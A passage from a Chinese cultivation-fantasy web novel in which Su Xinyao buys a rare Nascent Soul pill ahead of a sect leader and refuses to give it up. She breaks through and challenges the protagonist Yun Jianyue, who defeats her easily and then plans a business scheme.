她当时只以为这价格终究是吓退了这位“小富婆”,却万万没想到,不过小半个时辰,她竟又杀了回来,而且真的带来了三百万下品灵石的巨款。 少女趴在柜台上,呼哧呼哧喘着粗气,一看便是马不停蹄赶过来的。 她圆圆的杏眼格外明亮,鼻尖上还挂着晶莹的汗珠,连珠炮似的催促道:“漂亮的掌柜姐姐,你快清点一下,确认了灵石数目,就快点把紫金元婴丹给我吧,我真的有急用。” 她心里的小算盘打得噼啪响:快点突破元婴,然后就能去找那个该死的云见月算账,等把她打趴下,就提着她的衣领问她“服不服”,哦吼吼吼~。 青璃强大的神识扫过储物袋,瞬间确认了里面不多不少,正好三百万颗下品灵石,颗颗灵气饱满。 她唇角几不可察地勾起一丝弧度。 主子昨晚料定郁长林会为此丹疯狂,却没算到这出插曲,这位小姑娘竟然也能随手掏出三百万下品灵石。 不过,送上门的生意,岂有不做的道理? 她几乎可以预见,等会儿郁长林兴冲冲跑回来,看到空空如也的展柜时,那张老脸会扭曲成什么模样。 那场景,想必十分精彩。 她转身,素手轻抬,那枚流光溢彩的紫金元婴丹便从展柜中飞出,指尖未触碰到丹药,仅以灵力托起,递给了粉裙少女。 少女郑重其事地双手接过,感受到其中蕴含的磅礴力量,小脸上瞬间绽放出灿烂无比的笑容,临走前还不忘对青璃甜甜一笑: “谢谢漂亮姐姐,姐姐有没有人说你眼睛上蒙着轻纱的样子,简直像画里走出来的仙子,美极了。” 青璃:“......” 饶是她活了上千年,还是头一次被人这么直白地夸赞。 若非对方是个娇俏的小姑娘,她都要怀疑自己是被登徒子调戏了。 青璃唇角漾开一丝极淡的笑意。 这姑娘,看着骄横任性,心思倒是单纯直率,倒也有几分…可爱。 就在苏心瑶的身影消失在长春堂不过片刻,郁长林几乎是燃烧着灵力冲回来。 啊哈哈哈元婴期,我来了! 他仿佛看到自己元婴初成,威压下域众修俯首的牛掰景象。 郁长林脸上挂着狂喜和亢奋的红光,他风驰电掣般冲进长春堂,嗓门大得震得玻璃窗嗡嗡作响,“仙子,灵石取来了,整整三百万,快把紫金元婴丹……” 话音戛然而止,连同脸上那志得意满的笑容,在目光触及展柜中央的瞬间,凝固! 展示柜中央空空如也,那枚紫金元婴丹,没了。 “丹药呢?我的紫金元婴丹呢?”郁长林颤抖着手,指着那空荡荡的水晶格,声音都变调了。 紧随其后的柳静怡和郁姝,看到空柜顿时尖叫:“怎么回事?掌柜的,我们说了马上回来买的,丹药呢?你藏哪儿去了?” 青璃连眼皮都没抬,语气平淡得像在说今天天气不错:“卖了。” “卖了?”郁长林如遭五雷轰顶,大脑一片空白。 随即是滔天的怒火。 “那是我先看上的,你凭什么卖给别人?”他失控地咆哮,金丹后期的灵力不受控制地外泄,震得柜台嗡嗡作响,完全忘记了眼前是一位元婴大能,抬抬手指就能碾死他。 “一手交钱,一手交货,长春堂的规矩,过时不候。”青璃抬眼,目光透过轻纱落在他身上,那无形的压力让郁长林狂暴的灵力都为之一滞。 “郁谷主,你来得晚了。” 简单一句话,像一把冰锥,狠狠扎进郁长林的心脏。 他所有的希望、狂喜,瞬间碎成了渣。 “不,我不信,你一定是在骗我,把丹药拿出来,快拿出来。”郁长林彻底疯了。 突破元婴的曙光近在咫尺却又瞬间熄灭,几十年的煎熬和绝望如同海啸般将他淹没。 他无法接受。 失去了这次机会,他可能终身无望元婴,巨大的失落让他理智尽失。 “交易已成,银货两讫。”青璃的声音陡然转冷,“郁谷主,请自重,若在长春堂内生事,后果自负。” 无形的元婴威压骤然弥漫,像一座大山压在郁长林肩头。 他膝盖一软,差点跪下去,满腔的怒火和不甘被硬生生憋回喉咙,憋得他喉头腥甜,差点喷出一口血来。 在元婴威压的压制下,郁长林的理智艰难回笼。 冷静!必须冷静! 现在翻脸就是找死。 他强行挤出一个比哭还难看的笑容,声音嘶哑干涩,“抱…抱歉,仙子,方才是我失礼,恳请仙子见谅。 敢问仙子可否告知,丹药是被何人买去了吗?” 只要能找到买家,或许还有转圜余地。 哪怕付出更大代价,他也要把丹夺回来。 青璃淡漠地摇头:“不知。” 顿了顿,又补充了一句,“不过,她衣襟上绣着一个‘天元’标志。” 天元? 整个下域,以“天元”为标志的,只有天元宗! 而此人能拿出三百万下品灵石,绝对不可能是普通的弟子。 郁长林脑子一转便想到了。 一定是被天元宗宗主之女买走了,因为只有她有这个能力,而她也刚好是金丹后期大圆满境界,只要服下紫金元婴丹,就能立刻突破。 该死的小贱人,早不买晚不买,偏偏在他要买的时候横插一脚坏他好事。 不行,绝对不能被她服下。 无论如何,这枚丹药,他必须抢回来。 想到这里,郁长林也顾不得妻女了,飞身就向天元宗的方向追去。 郁长林将速度提升到了极致,神识疯狂扫视着前方。 很快,他锐利的目光便捕捉到了远处天际那道熟悉的粉霞色身影。 “苏心瑶——站住——把紫金元婴丹留下!”郁长林用灵力将怒吼声远远送出,如同惊雷炸响。 正美滋滋、满脑子幻想着自己突破元婴后如何威风凛凛、如何把云见月打得满地找牙的苏心瑶,被这突如其来的怒吼吓得一个激灵。 天杀的!是哪个不长眼的敢劫本小姐的道?云见月还没揍到呢! 这是她脑海中闪过的第一个念头。 她连头都不敢回,体内灵力毫无保留地爆发,粉霞流云裙光芒大放,速度瞬间飙升到极限,拼命向天元宗的方向逃窜。 郁长林见她加速,更是急火攻心,一边疯狂追赶,一边飞速盘算。 硬抢?不行! 杀了苏心瑶就是与整个天元宗为敌,药仙谷承受不起。 怎么办? 电光火石间,一个名字跳入脑海——楚凌风! 楚凌风是苏心瑶倾慕的对象,若有他出面说和,或许......或许还有一线希望? 郁长林眼中闪过一丝孤注一掷的狠厉,一边死死咬住前方那道粉光,一边迅速掏出传讯玉简,神念急动:“楚贤侄,十万火急......” 信息发出,郁长林的心提到了嗓子眼,死死盯着前方的身影,祈祷楚凌风能及时赶到。 另一边。 长春堂打烊后,青璃带着三百多万灵石回到玄天宗。 云见月神识一扫,看着那三百多万块下品灵石就知道,紫金元婴丹肯定被卖掉了。 她一脸笑意:“郁长林果然买了。” “不是郁长林买的。”青璃平静道。 云见月愕然:“啊?” 她有些懵,“不是被郁长林买走的?那被谁买去了?” 青璃摇头:“我也不知道其姓名,不过昨日她购买的丹药最多,我对她印象颇深。” 云见月:“......” 买得最多? 一个叉腰大笑的身影瞬间浮现在她脑海。 不会是她吧? 她急忙追问:“她长什么样?” “一身粉霞流云裙,身材娇小玲珑,圆脸杏眼,模样......颇为娇俏可爱。” 青璃回忆着,补充道,“对了,她身边还跟着一位穿水蓝色长裙的女子。” 云见月:“......” 这描述,不就是苏心瑶和她的小姐妹林思思吗? “而且,”青璃继续道,“郁长林似乎认出了她,已经不顾一切地追着她去了,看样子,是铁了心要夺回紫金元婴丹。” 云见月端起茶杯,指尖在杯沿轻轻摩挲,眼底闪过一丝兴味。 原本以为是郁长林的独角戏,没想到被苏心瑶这么一搅,倒变得更有意思了。 “事情的发展,倒是出乎了我的预料。”云见月嘴角的弧度越发明显。 这盘棋,似乎比她预想的,还要精彩几分。 她很好奇,那个骄纵又有点奇葩的苏心瑶,面对郁长林的疯狂追索,会如何应对? 而郁长林为了突破,怕是连楚凌风的面子都要赌上了。 第56章 打赌,苏心瑶会不会把元婴丹让给郁长林 天元宗护山大阵外,郁长林急得如同热锅上的蚂蚁。 看着苏心瑶的身影落在阵内,他生怕苏心瑶下一刻就吞下丹药。 忙对着阵内大喊:“苏小姐留步。” 见苏心瑶回头,他连忙换上一副谄媚的笑,语气放得比棉花还软:“是我,药仙谷谷主郁长林,方才多有误会,惊扰了苏小姐,郁某在此赔罪了,郁某绝无恶意,请苏小姐千万不要害怕。” 苏心瑶暗暗翻了个大大的白眼,小嘴撇得老高。 绝无恶意?要不是本小姐跑得快,这会儿怕是连骨头渣子都被你这老狗啃干净了。 现在装什么大尾巴狼? 她双手叉腰,骄横地扬起下巴,清脆的声音带着毫不掩饰的嘲讽,隔着大阵清晰地传出去: “你没有恶意,那你跟疯狗似的追着本小姐不放是为什么?还大言不惭地喊什么‘把紫金元婴丹留下’,这丹药是本小姐真金白银花了三百万下品灵石买来的,凭什么留给你? 怎么,药仙谷谷主的脸皮是千年玄铁炼的,厚到连风都刮不动了?也不怕风大闪了你的舌头!” 少女娇蛮的话语毫不客气。 郁长林作为下域唯一的六品炼丹师,向来被人恭维,这是第一次有人鼻孔朝天的骂他,气得他眼前发黑,一张老脸涨成了酱紫色,偏偏又发作不得,只能死死攥紧拳头,忍着。 他声音干涩地解释: “误会,都是误会,郁某并非要强抢,实在是这丹药是郁某先看中的,只是当时身上灵石不足,才匆匆回去取灵石,谁知就这片刻功夫,竟被苏小姐捷足先登了。”他语气隐隐带着些许懊恼和委屈。 苏心瑶一听,非但没有丝毫同情,反而“嘿嘿”一声,得意地晃了晃手中的玉瓶,杏眼弯成了月牙儿: “那可真是巧了,这紫金元婴丹也是本小姐看中的,本小姐当时也没带够钱,这不也回宗门取了? 如此算来,先看重的明明是本小姐,买到的也是本小姐,那这宝贝自然就归本小姐喽,先来后到,天经地义。” 郁长林一口老血差点喷出来,他深吸一口气,几乎是用尽了毕生的涵养,才维持住声音的平稳,“苏小姐,此丹关乎郁某毕生道途,恳请苏小姐高抬贵手,割爱相让,郁某愿出双倍灵石购买。 并且,从今往后,苏小姐在我药仙阁购买任何丹药,皆以成本价结算,郁某说到做到。”他抛出了自认为无法拒绝的诱人条件。 苏心瑶却只是不屑地撇了撇嘴,小脑袋摇得像拨浪鼓:“对你重要,对本小姐同样重要,再说了,就你们药仙谷炼制出来的那些下品丹、中品丹,白送本小姐都嫌占地方。 人家长春堂的丹药,颗颗极品,价格公道,品质甩你们药仙阁十条街,本小姐脑子进水了才放着长春堂不去,买你们的破丹。” “你……”郁长林被这番毫不留情的奚落和贬低气得浑身发抖。 他拼命告诉自己不要生气,忍住,大丈夫能屈能伸。 既然讲理讲不通,那不如就卖惨。 女子多心软,自己卖惨或许还有希望。 他立刻装出一副可怜兮兮的模样,道:“不瞒苏小姐,郁某卡在金丹后期几十年,寿元都快耗尽了,看在郁某年岁已高的份上,苏小姐就可怜可怜我吧。” “何况,苏小姐你年轻貌美,天赋又好,突破元婴是迟早的事,可我……真的等不起了啊,相信以苏小姐的人美心善,绝不想看到我身陨道消吧?” 他说着自己都感动了,本以为苏心瑶一定会心软,不想却看到苏心瑶翻了个白眼。 她毫不客气的讽刺:“郁谷主,你这话我可不爱听。什么叫我年轻就等得起?难道你年纪大,就该抢我的东西?你岁数大你有礼,我岁数小我就活该呗?” 啊啊啊—— 郁长林简直忍无可忍,真想一巴掌拍死苏心瑶。 这个牙尖嘴利的贱丫头,怎么软硬不吃呢。 就在郁长林被怼得无计可施时,一道清逸出尘的身影御剑而来,翩然落在山门前。 “瑶儿,何事如此争执?”楚凌风含笑走来,目光落在苏心瑶身上时,温柔得能滴出水来。 郁长林像看到救星,忙道:“楚贤侄,你来得正好,快帮我劝劝苏小姐,这紫金元婴丹对我突破元婴至关重要,关乎药仙谷未来,只要苏小姐肯割爱,药仙谷愿出双倍灵石。” 楚凌风先是一惊。 下域居然有人能炼制出地阶丹药? 若不是他的修为早就突破到了化神后期,不需要紫金元婴丹,他也会忍不住眼红。 不过,私心里,他还是希望这紫金元婴丹是属于郁长林的,毕竟郁长林是他徒儿郁姝的父亲。 所以他故作沉吟,转头对苏心瑶柔声道:“瑶儿,郁谷主确实不易,不如卖我个面子?我让他再加一百万下品灵石,如何?突破元婴的机会,以后还会有,与药仙谷交好,对你我宗门都有好处。” 他伸出手,掌心向上,姿态优雅从容,他算准了苏心瑶对自己的爱慕之心,笃定苏心瑶会像过去无数次那样,毫不犹豫地将心爱之物奉上。 苏心瑶看着楚凌风温柔的眼睛,心里像被猫爪挠了一下,那是她追逐了十多年的目光。 可一想到云见月那副‘看不起人’的样子,这点动摇瞬间被压了下去。 一直默不出声的林思思见状,心猛地一沉,暗道不好。 她太了解瑶瑶对楚凌风的痴迷了。 瑶瑶喜欢了楚凌风十多年,对他几乎言听计从,甚至为了他多次去挑衅云见月。 她真怕瑶瑶一时糊涂,被楚凌风的温柔迷晕了头,将好不容易到手、能让她一步登天的机缘拱手让人。 “瑶瑶,不能给!”林思思紧紧抓住苏心瑶的手臂,“这可是地阶极品丹,整个下域都找不出第二颗,元婴境界就在眼前,一旦让出去,你何时才能突破? 修为才是立身之基,护身之本,什么情爱承诺,在绝对的实力面前都是虚妄,瑶瑶,清醒一点。” 别看她平时一直帮着苏心瑶辱骂云见月配不上楚凌风,但是在情爱和修为面前,她还是分得清轻重的。 她苦口婆心,恨不得把道理刻进苏心瑶的脑子里。 玄天宗内,水镜正清晰地映出天元宗山门前的这一幕。 青璃看着水镜里苏心瑶纠结的小脸,淡漠开口:“在我们妖兽的世界里,弱肉强食是唯一法则,只有实力能护自己周全。” “我见过为情爱迷眼、甘愿献出内丹或庇护的蠢物,最终皆成他人腹中餐、爪下魂。” “利爪与尖牙,才是生存的依仗;实力与境界,才是永恒的真理。” “我经历千年搏杀,方证此道。情爱?不过是强者闲暇时的点缀,弱者自欺的毒药。” “她若明智,当知手中丹药,远比那男子虚情,更能护她性命无虞,助她翱翔九天。” 云见月深以为然地点点头:“青璃所言极是。” 但随即,她脸上露出一丝玩味,“不过,以我对苏心瑶的了解,我觉得她最终还是会听楚凌风的话,把丹药让出去。” 青璃眸中透出一丝不解:“主子为何如此笃定?” “因为苏心瑶爱慕楚凌风啊。” 原著中苏心瑶的爱卑微到尘埃里,甘愿与众多女子共享一夫,甚至主动帮楚凌风追求新欢,彻底失去了自我。 为了楚凌风,连自尊都能踩在脚下,何况一枚丹药? “虞青焰,你觉得呢?”云见月忽然转头,问向旁边懒洋洋摇着折扇的绝美男子。 虞青焰桃花眼微挑,“我觉得,她不会让。” “哦?为什么?”云见月好奇追问。 虞青焰目光深邃,“她的眼神告诉我,她不会。” 云见月依旧坚持自己的判断:“我赌她会让!” “不会。”虞青焰语气笃定。 “会!” “不会!” 见他难得如此坚持,云见月眼珠一转,狡黠的光芒闪过:“既然你我各执一词,不如打个赌?” 懒洋洋的虞青焰顿时来了精神,桃花眼中流光溢彩:“赌什么?” “就赌,如果我赢了,你这辈子就留在玄天宗,无论我以后是生是死,你都要护着我的徒儿们,把他们当成自己的孩子一般教导、庇护,如何?” 虞青焰眸光微动,看了眼五个小家伙,唇角笑意更深:“那若是我赢了呢?” “你若是赢了,在我的底线之内,你让我做什么都可以。” 虞青焰用扇子轻轻点了点自己的下巴,笑容惑人:“若我赢了,你就每天对我说一句真心实意的赞美之词,连续说满一年,如何?” 云见月:“……” 这要求,有点幼稚又有点刁钻啊,也就虞青焰能想出来了。 她有必要怀疑,他就是拐弯抹角的想听别人夸他漂亮。 看着他那势在必得的眼神,云见月心一横:“好!一言为定!” 反正她不可能输。 “我们支持师尊。”五个小家伙立刻蹦跳起来,纷纷举起小手表示站队师尊。 虞青焰也不恼,笑眯眯地看着他们:“小东西们,话别说太满。要是我赢了,你们五个就得每天轮流给我捏肩捶腿,端茶倒水,好好服侍我,如何?” “没问题!”孩子们想都没想就答应了。 云见月:“……” 看着自家徒儿们那“慷慨赴义”的小模样,再看看虞青焰狐狸般的笑容,她心里突然涌起一股不妙的预感,怎么感觉像是搬起石头砸了自己的脚? 但事已至此,她依旧坚信苏心瑶逃不过“恋爱脑”的宿命。 水镜中,林思思还在苦口婆心地劝说:“瑶瑶,你想想清楚,元婴期啊,一旦错过这次机会,你要等到何年何月?楚师兄他再好,能替你挡天劫吗?能替你增寿元吗?实力才是你自己的,千万别犯糊涂啊。” 一直沉默纠结的苏心瑶猛地抬起了头,眼神中闪过一丝决绝,她扬手打断了林思思的话。 然后,在郁长林充满希冀、楚凌风温柔笃定、林思思忧心如焚的目光中,高高举起了手中的玉瓶,对着阵外的郁长林大声问道:“喂!姓郁的,你真的这么想要这枚紫金元婴丹?” “想!求苏小姐成全。”郁长林的呼吸瞬间变得无比粗重,眼睛死死盯着玉瓶。 楚凌风脸上的笑容更温和了,他声音如同带着魔力,充满了安抚和诱导:“瑶儿乖,听凌风哥哥的话,把丹药给我。郁谷主定会重重谢你。” 他自信苏心瑶对他的迷恋,足以让她放弃一切。 所有人都以为苏心瑶要妥协了,包括云见月。 然而,下一秒,苏心瑶却把头摇得像拨浪鼓。 “不行!” 她对上楚凌风错愕的目光,道: “凌风哥哥,我知道你对我好,我也真的很喜欢你,但是,这枚丹药是我要用来突破元婴,去找云见月那个可恶的女人算账的。” 提到“云见月”三个字时,她的后槽牙都磨得咯咯响,眼中燃烧着熊熊的斗志。 “她总是跟我作对,总是跟我抢你,这是我绝对绝对不能容忍的,我一定要打败她。” “只有突破了元婴,我才有把握把她打得满地找牙,只有这样,她才不敢再跟我抢你。” 楚凌风脸上的笑容僵住了。 郁长林更是目瞪口呆,为了跟人“争风吃醋”,居然连地阶极品丹都不肯让?这是什么奇葩理由? 云见月也懵了,嘴里的灵茶差点喷出来。 所以,这一刻,你想要打败我的执念,竟然压倒了对楚凌风的爱? 这算什么? 我在你心里的‘重要性’,居然超越了男主? 要不要这么荒谬? 虞青焰低笑出声,用折扇碰了碰她的胳膊:“看来,你得准备好每天夸我了。” 第57章 云见月成了苏心瑶追求的目标 “你……你简直不可理喻!”郁长林气得浑身发抖,却只能眼睁睁看着苏心瑶拧开丹瓶。 苏心瑶冲他做了个鬼脸,哼了一声:“就不让给你,气死你!等我突破元婴,第一个就去找云见月,让她看看谁才配得上凌风哥哥。” 说罢,她仰头将紫金元婴丹吞入腹中。 磅礴的灵力瞬间在她体内炸开,粉霞色的衣裙无风自动,一股强悍的气息开始攀升,元婴期的威压,以肉眼可见的速度成型。 “不——”郁长林发出绝望的嘶吼,眼睁睁看着近在咫尺的机缘彻底化为泡影,一口老血差点喷出来。 楚凌风的脸色也沉了下来,看着苏心瑶突破的光芒,眼底深处,一丝难以察觉的阴鸷寒光倏然闪过,快得仿佛错觉,却让周围的温度都仿佛降了几分。 苏心瑶,居然敢违逆他? 一种,不该如此,事情脱离掌控的感觉油然而生。 云见月看着水镜里苏心瑶周身绽放的灵光,若有所思。 苏心瑶的选择,超出了原著的轨迹。 是因为长春堂的出现?还是因为……她的到来? 霞光万丈,灵气如沸。 “瑶丫头,稳住啊!” 天元宗的弟子们个个攥紧拳头,连苏心瑶的父亲也捋着胡须,眼中难掩激动。 几位长老更是屏息凝神,生怕一丝杂音惊扰了这关键的突破。 “轰——咔嚓!” 随着最后一道坚固的灵力屏障如同琉璃般碎裂、消散,狂暴的灵气骤然一收,尽数归入少女体内。 苏心瑶猛地睁开双眼,瞳孔深处精光四射,一股远胜金丹的强横气息毫无保留地扩散开来。 她嘴角抑制不住地扬起,那份得意几乎要溢出来。 成了!元婴! “哈哈哈——元婴大能苏心瑶在此。”她叉腰仰天大笑,清脆的笑声裹挟着元婴威压,声震四野,惊起飞鸟无数,“云见月,你的死期到了。” 突破的狂喜冲昏了她的头脑,“打败云见月”的执念像野草般疯长。 她甚至等不及稳固境界,整个人化作一道粉霞流光,冲天而起,撕裂长空,目标直指玄天宗。 “瑶瑶,等等,你刚突破根基不稳啊......”林思思焦急的呼喊声被远远甩在身后狂风里,急得原地跺脚却无可奈何。 苏心瑶回头一笑,掌心凝聚起一团元婴期的灵力,光芒璀璨:“怕什么?现在的我,一根手指就能碾死她。” 玄天宗内,水镜早已隐去。 庭院里,阳光正好。 云见月坐在演武场的石凳上,素手执壶,正慢条斯理地煮着灵茶。 袅袅茶香混合着庭院里草木的清新气息,一派宁静祥和。 不远处的树荫下,虞青焰依旧懒洋洋地躺在他专属的摇椅上,折扇轻摇。 青璃化作半米长的小青蛇,盘在石桌上闭目养神。 五个小家伙在庭院里追逐嬉闹,清脆的笑声在空气中回荡。 “轰!” 苏心瑶裹挟着无匹的气势,没有受到任何护山大阵的阻拦,气浪翻卷着出现在演武场上。 她正想喊出准备好的狠话,却猛地愣住,想象中的剑拔弩张、严阵以待,根本不存在。 云见月悠闲倒茶的样子,险些把她气个倒仰。 满腔的气势瞬间泄了大半,仿佛一拳打在了棉花上,无处着力的巨大憋屈感涌上心头。 云见月抬眸,笑容温婉(在苏心瑶看来,那分明是嘲讽):“苏道友新晋元婴,可喜可贺。远来是客,风尘仆仆,喝杯灵茶润润喉?” 她甚至好整以暇地指了指对面的空位。 这轻描淡写的态度令苏心瑶炸毛:“谁要喝你的破茶,少假惺惺,我是来找你算账的,快起来,跟我打一场。” 云见月慢悠悠抿了口茶,蒸汽模糊了她的侧脸:“打打杀杀多不好,戾气太重,有碍修行,你刚刚突破,境界虚浮未稳,气息躁动,不如先坐下平心静气的聊聊天?况且……” 她放下茶杯,目光平静地扫过苏心瑶周身,那眼神清澈无波,却让苏心瑶心头猛地一跳。 一股源自灵魂深处的寒意窜遍全身。 “你确定,现在就要跟我打?” 苏心瑶被她的眼神看得脊背发凉,但突破元婴带来的膨胀信心让她不愿相信自己会输。 她不信邪的娇叱一声,猛地释放全部元婴威压,化作一股无形的山岳,狠狠朝着云见月碾压过去。 她要让这个屡次让她出丑的女人知道轻视元婴大能的代价。 然而,那些灵力刚靠近云见月周身三尺,便如同冰雪遇骄阳,瞬间消融得无影无踪。 没能撼动云见月分毫。 苏心瑶瞳孔骤然收缩。 怎么会这样? 她不是金丹吗? 这感觉…比楚师兄还可怕,她感觉自己打不过云见月,那她突破元婴的意义在哪? 巨大的失落感和认知冲击让苏心瑶呆立当场,满腔战意化为茫然和一丝不易察觉的委屈。 “该死的云见月,你的修为到底到了什么境界?”苏心瑶的声音带着颤抖,既有愤怒,也有一丝连她自己都没察觉的恐慌。 “咦?你不知道吗?”云见月故作惊讶。 苏心瑶确实不知道,以前她满心满眼都是楚凌风,云见月在她眼里就是个纠缠楚师兄、宗门破落不值一提的“情敌”,哪会去关注她的修为,只当对方顶多和自己差不多。 云见月表示,虽然穿越到原主身上的时候,一切都挺让她糟心的,但唯一一样让她异常满意的,那就是原主这具身体的天赋,堪称顶级。 变异冰灵根,百年难遇。 年仅二十八岁,便已突破至化神初期,这份修炼速度,在整个下域年轻一代中,除了天命之子楚凌风,堪称无敌。 更别提这具身体本身身姿高挑曼妙,冷艳绝伦,冰灵根赋予的气质,让她静立时如九天寒月,清冷孤绝,风华无双。 这样一个要容貌有容貌、要资质有资质的绝世美人,怎么就……云见月实在想不通原主为何会沦为楚凌风的舔狗。 她收回思绪,淡淡看向眼前这个因震惊和失落而显得有些呆滞的苏心瑶,目光平静得像结了冰的湖面,一字一句道:“化神,初期。” 她顿了顿,又道:“要想打败我,你还差得远。” “化…化神?”苏心瑶如遭雷击,踉跄着后退两步。 她拼尽全力才触及元婴的门槛,本以为从此能将对方踩在脚下,却绝望地发现,云见月早已站在了她望尘莫及的巅峰。 化神期,那是比元婴高一个大境界的存在。 整个下域,能达到化神期的修士也寥寥无几,多半都是活了几百岁的老头子。 云见月才多大?看起来比自己大不了几岁啊! 她突破元婴,本以为能碾压云见月,没想到对方早已站在她望尘莫及的高度。 苏心瑶嘴唇哆嗦着,一半是委屈,一半是被碾压的不甘。 云见月甚至没再多看她一眼,广袖随意一挥。 一股柔和却不容抗拒的力量凭空而生,苏心瑶只觉得身体一轻,不受控制地飞出了玄天宗,稳稳落在山门外。 “啊啊啊——云见月!!!” 玄天宗山门外,苏心瑶崩溃的尖叫。 凭什么?凭什么云见月这种女人能突破化神?怪不得她敢缠着凌风哥哥,原来他们都是化神期,有那么多“共同语言”。 不行!绝对不行!我绝不允许云见月把凌风哥哥从我身边抢走! 苏心瑶眼中重新燃起火焰,那不再是纯粹的愤怒,而是一种被更强目标刺激后的、近乎偏执的斗志。 “我要变强!变得比云见月更强!强到让她仰望!” 她狠狠地跺了跺脚,最后看了一眼玄天宗的山门,然后转身化作流光消失在山门口。 苏心瑶走后,演武场恢复了宁静。 云见月看向青璃:“紫金元婴丹还有几颗?” 青芒一闪,盘踞的小蛇瞬间化作人形,恭敬垂首:“回主子,还有九颗。” 云见月微微颔首:“你才化形不久,元婴根基仍需打磨。稍后你去取一颗服下,好生炼化,稳固境界。” 青璃眼中闪过惊喜与感激:“谢主子。” 她顿了一下,问道:“那另外八颗……” 云见月指尖轻轻敲击茶几,目光悠远。 她想到了花影,在各大小宗门几乎都为了药仙谷的丹药对玄天宗进行围剿时,只有合欢宗不曾落井下石。 玄天宗如今看似平静,实则根基浅薄。 仅靠虞青焰庇护还不够。 背靠大树好乘凉,在真正崛起之前,还需要与大宗门建立互惠互利的关系。 她第一个想到的,便是行事不拘一格、实力却不容小觑的合欢宗。 她若不能抛出诱人的条件,人家也没理由帮她。 而那八颗紫金元婴丹,就是她的探路石。 云见月眼神望向远处嬉闹的五个孩子,眼底深处掠过一丝温柔与凝重。 “灵墟秘境很快开启,我此行凶险难料,但我势在必行。”她的声音很轻,却带着不容置疑的决心,“此番前往,我最放心不下的,便是他们五个。” “若我平安归来,一切自然好说。可若万一……” 后面的话她没有说出口,但青璃已然明白那未尽之意,心头一紧。 “所以,”云见月收回目光,眼神重新变得锐利而坚定,“在进入秘境之前,我必须将一切都安排妥当。为孩子们铺好路,确保无论发生什么,他们都能平安长大。” 她话锋一转,眼神中闪过一丝冷冽的光芒:“郁长林明日必然还会去长春堂。” “主子,您的意思是……”青璃精神一振,直觉主子要有大动作了。 云见月冲青璃勾了勾手指,青璃俯身,耳朵覆在她唇边。 她压低了声音,快速而清晰地交代着计划。 随着她的话语,青璃那双金色的蛇瞳先是微微睁大,流露出难以置信的惊讶,随即化为了然,最后升腾起浓浓的钦佩和一丝跃跃欲试的兴奋。 “主子,这做生意,还可以这样?” 云见月微微一笑,“以其人之道,还治其人之身。他们既然主动来招惹,就别怪我不给他留后路了。” 庭院的阳光依旧温暖,茶香袅袅,但平静之下,好戏即将开场。 第58章 忽悠郁长林加盟,慢慢蚕食掉他的药仙阁 晚饭过后,五个小家伙个个耷拉着脑袋,小脸上写满了“认命”二字,活像五只等待发落的小鹌鹑。 虞青焰舒舒服服地陷在宽大的摇椅里,整个人像没了骨头,连指尖都透着慵懒。 他半眯着眼,享受着夜晚的微风。 “开始吧。” 五个孩子立刻化身勤劳的小蜜蜂,围着摇椅忙碌起来。 “虞叔叔,我给您捏肩。”苏渺渺使出吃奶的劲儿,小肉手在虞青焰的肩膀上又揉又按,可惜那点力道,对他来说,跟小奶猫踩奶差不多,除了有点痒,毫无建树。 鹿闻声和江迷雾则蹲在摇椅两侧,一人抱一条腿,两人节奏不一,一个快一个慢,咚咚咚地敲着,像在打鼓,虞青焰的腿纹丝不动,他俩的手倒是先酸了,互相交换了个苦兮兮的眼神。 萧星尘一手端着茶杯,一手捻起一颗晶莹剔透的灵果葡萄,小心翼翼地递到虞青焰唇边,动作一丝不苟。 再看郁仙,吃力地抱着一把巨大的蒲扇,踮着脚尖,小身子摇摇晃晃地给摇椅上的人扇风,扇子实在太沉,风没扇出多少,她自己倒像个小陀螺,被扇子的惯性带着原地转圈圈,连小辫子都跟着甩得老高。 一时间,庭院里尽是孩子们吭哧吭哧的喘气声、咚咚咚的捶腿声,还有蒲扇扫过空气的呼呼声。 五个小豆丁忙得团团转,小脸涨得通红,细密的汗珠顺着脸颊往下滑。 虞青焰微微侧头,让苏渺渺捏得更顺手些,眼角却瞟着云见月,藏着几分得意的笑。 偶尔还会懒洋洋地指点一句:“左边重点……腿再敲快点……葡萄要剥皮。” 云见月站在廊下,看着这副“童工伺候大爷”的景象,终于忍不住又好气又好笑地开口:“虞青焰,你多大人了?好意思这么使唤孩子们?” 虞青焰慢悠悠地掀开眼皮,扫了她一眼,语气平淡却噎人:“赌约,我赢了。” 云见月:“……” 行吧,愿赌服输。 虞青焰却得寸进尺,拖长了声音补充道:“对了,你想好明天怎么夸我了吗?得真诚,得新颖,还得体现出我美貌的卓尔不凡。” 他还特意强调,“每天哦,别想糊弄。” 云见月深吸一口气,冲他呲了呲牙,转身走向角落。 再看下去,她怕自己忍不住把这摇椅拆了。 她取出传讯玉简,注入灵力,联系花影:“花影,明日来趟玄天宗,有好东西给你。” 玉简很快亮起,传来花影那带着几分魅惑的声音,尾音拖得长长的,像在撒娇:“哟~是小月月呀?想我了?是不是给我设计了新款的霓裳羽衣? 快说说,这次是流云纹还是蝶恋花?料子用鲛绡还是冰蚕丝?我最近新得了一匹星辉缎,配起来一定绝美。” 光听声音,就能想象出他正对镜自赏,指尖轻抚衣料的模样。 云见月嘴角抽了抽,干脆利落地打破他的幻想:“不是衣服。” 对面瞬间卡壳,沉默了一会儿,声音里满是嫌弃:“不是新衣服?那不去。忙着呢,刚开了一罐上好的东海珍珠粉,正要敷脸养颜,没空。” 云见月早知如此,懒得废话,指尖一点玉简,直接将一枚紫金元婴丹的清晰影像传送了过去。 影像过去不到一息,玉简就疯狂震动起来,花影的声音带着破音的激动,差点把玉简震碎:“紫紫紫…紫金元婴丹?地阶极品?我去去去去去!刀山火海我也去” 云见月眼底闪过一丝笑意:“明天卯时,过时不候。” 翌日清晨,霞光初绽,将玄天宗的山门染成一片金红。 一道极其骚包、自带香风特效的身影,翩然而至。 花影一身藕粉蕾丝纱裙,衣袂飘飘,墨发如瀑,落地后还不忘优雅地整理了下根本不存在褶皱的衣襟,确保自己三百六十度无死角地美绝人寰,风情万种地“飘”进庭院。 “小月月~想死我了。”花影一进来,目标精准锁定云见月,声音甜腻得能齁死蜜蜂,“快让我看看那宝贝丹……” 云见月也不废话,直接打开盒盖,八枚龙眼大小、通体流转着深邃紫金光泽的丹药,静静地躺在柔软的锦缎上。 花影的眼睛瞬间直了,小心翼翼地接过玉盒,他指尖捻起一颗丹药,对着光转了转,丹纹在阳光下流转,“嘶…真是紫金元婴丹,还八颗,小月月,这…这莫非也是仙儿小宝贝炼的?” “嗯。”云见月点头。 